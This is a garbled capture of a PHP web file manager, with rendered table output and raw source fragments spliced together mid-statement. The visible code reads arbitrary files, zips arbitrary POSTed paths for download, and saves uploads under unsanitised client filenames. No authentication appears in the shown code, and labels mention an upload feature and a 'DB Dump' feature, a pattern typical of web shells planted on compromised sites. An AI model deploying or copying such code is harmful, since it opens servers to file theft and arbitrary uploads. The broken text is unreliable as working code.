| Name | Size | Modified | Actions | ||
|---|---|---|---|---|---|
| ⬅️ Go Back | |||||
| "; if (is_dir($filePath)) { echo "📁 $file"; } else { echo "📄 $file"; } echo " | " . (is_file($filePath) ? filesize($filePath) . " bytes" : '-') . " | " . date("Y-m-d H:i:s", filemtime($filePath)) . " | "; if (!is_dir($filePath)) { echo "⬇️ "; echo "✏️ "; echo "👁️ "; } echo "🗑️"; echo " | ||
✅ File saved.
"; } $content = htmlspecialchars(file_get_contents($file)); echo "" . htmlspecialchars(file_get_contents($file)) . "🔙 Back"; exit; } } // ZIP if (isset($_POST['zip']) && isset($_POST['items'])) { $zipName = 'archive_' . date('Y-m-d_H-i-s') . '.zip'; $zip = new ZipArchive(); if ($zip->open($zipName, ZipArchive::CREATE)) { foreach ($_POST['items'] as $item) { if (is_file($item)) { $zip->addFile($item, basename($item)); } elseif (is_dir($item)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item)); foreach ($iterator as $f) { if (!$f->isDir()) { $zip->addFile($f->getPathname(), substr($f->getPathname(), strlen(dirname($item)) + 1)); } } } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . basename($zipName) . '"'); readfile($zipName); unlink($zipName); exit; } } // Upload if (isset($_GET['upload'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { move_uploaded_file($_FILES['file']['tmp_name'], $dir . '/' . $_FILES['file']['name']); header("Location: ?dir=" . urlencode($dir)); exit; } echo "
Current Directory: $currentPath
"; echo "⬆️ Upload File "; echo "🛢️ DB Dump "; echo "